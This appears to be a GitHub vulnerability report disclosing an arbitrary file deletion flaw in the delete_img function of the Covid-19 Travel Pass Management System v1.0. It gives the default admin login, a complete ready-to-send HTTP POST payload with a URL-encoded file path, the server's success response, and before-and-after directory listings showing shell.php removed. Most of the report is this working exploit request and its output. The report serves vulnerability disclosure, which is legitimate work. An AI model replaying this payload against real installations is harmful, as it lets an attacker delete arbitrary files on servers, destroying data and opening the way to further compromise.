

main

...

bug_report / vendors / oretnom23 / covid-19-travel-pass-management-system / delete-file-1.md



debug601 Create delete-file-1.md

History

1 contributor

43 lines (29 sloc) | 1.73 KB

...

Covid-19 Travel Pass Management System v1.0 by oretnom23 has Delete any file

vendors: <https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html>

Vulnerability File: /ctpms/classes/Master.php?f=delete_img

Vulnerability location: /ctpms/classes/Master.php?f=delete_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shel.php file in the root directory

```
POST /ctpms/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6r1t8ikfi
```

Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

path=C%3A%5Cxampp%5Chtdocs%5Cctpms%5Cshell.php



The file path needs to be encoded by url

C:\xampp\htdocs\ctpms\shell.php

UrlEncode编码

UrlDecode解码

清空输入框

复制加密后的网址

C%3A%5Cxampp%5Chtdocs%5Cctpms%5Cshell.php























At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file

地磁盘 (C:) ▾ xampp ▾ htdocs ▾ ctpms ▾				
共享 ▾ 新建文件夹				
名称 ▾	修改日期	类型	大小	
admin	2022/5/6 14:24	文件夹		
assets	2022/5/6 12:24	文件夹		
build	2022/5/6 12:24	文件夹		
classes	2022/5/6 12:24	文件夹		
database	2022/5/6 12:24	文件夹		
dist	2022/5/6 12:24	文件夹		
inc	2022/5/6 12:24	文件夹		
libs	2022/5/6 12:24	文件夹		
plugins	2022/5/6 12:33	文件夹		
uploads	2022/5/6 12:24	文件夹		
user	2022/5/6 12:24	文件夹		
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB	
404.html	2021/3/19 13:17	HTML 文档	1 KB	
about.html	2022/5/6 12:45	HTML 文档	9 KB	
about.php	2022/4/28 13:24	PHP 文件	1 KB	
config.php	2022/4/20 12:55	PHP 文件	2 KB	
ctpms_plugins.zip	2022/5/6 12:33	ZIP 压缩文件	15,549 KB	
home.php	2022/4/28 12:54	PHP 文件	1 KB	
index.php	2022/4/28 12:47	PHP 文件	4 KB	
initialize.php	2022/5/6 12:29	PHP 文件	1 KB	
search_pass.php	2022/4/30 14:43	PHP 文件	3 KB	
shell.php	2022/5/6 14:24	PHP 文件	1 KB	
view_pass.php	2022/4/30 14:43	PHP 文件	10 KB	
welcome.html	2022/5/6 12:45	HTML 文档	3 KB	

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

Raw Params Headers Hex	Raw Headers Hex
POST /ctpms/classes/Master.php?f=delete_img HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=sbd29ujtf9ee1nf4f6r1t8ikfi Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 46 path=C%3A%5Cxampp%5Chtdocs%5Cctpms%5Cshell.php	HTTP/1.1 200 OK Date: Fri, 06 May 2022 04:49:36 GMT Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7 X-Powered-By: PHP/8.0.7 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 {"status":"success"}

By this time, shell.php has been deleted.

本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ ctpms ▾				
共享 ▾ 新建文件夹				
名称 ▲	修改日期	类型	大小	
 admin	2022/5/6 14:24	文件夹		
 assets	2022/5/6 12:24	文件夹		
 build	2022/5/6 12:24	文件夹		
 classes	2022/5/6 12:24	文件夹		
 database	2022/5/6 12:24	文件夹		
 dist	2022/5/6 12:24	文件夹		
 inc	2022/5/6 12:24	文件夹		
 libs	2022/5/6 12:24	文件夹		
 plugins	2022/5/6 12:33	文件夹		
 uploads	2022/5/6 12:24	文件夹		
 user	2022/5/6 12:24	文件夹		
 .htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB	
 404.html	2021/3/19 13:17	HTML 文档	1 KB	
 about.html	2022/5/6 12:45	HTML 文档	9 KB	
 about.php	2022/4/28 13:24	PHP 文件	1 KB	
 config.php	2022/4/20 12:55	PHP 文件	2 KB	
 ctpms_plugins.zip	2022/5/6 12:33	ZIP 压缩文件	15,549 KB	
 home.php	2022/4/28 12:54	PHP 文件	1 KB	
 index.php	2022/4/28 12:47	PHP 文件	4 KB	
 initialize.php	2022/5/6 12:29	PHP 文件	1 KB	
 search_pass.php	2022/4/30 14:43	PHP 文件	3 KB	
 view_pass.php	2022/4/30 14:43	PHP 文件	10 KB	
 welcome.html	2022/5/6 12:45	HTML 文档	3 KB	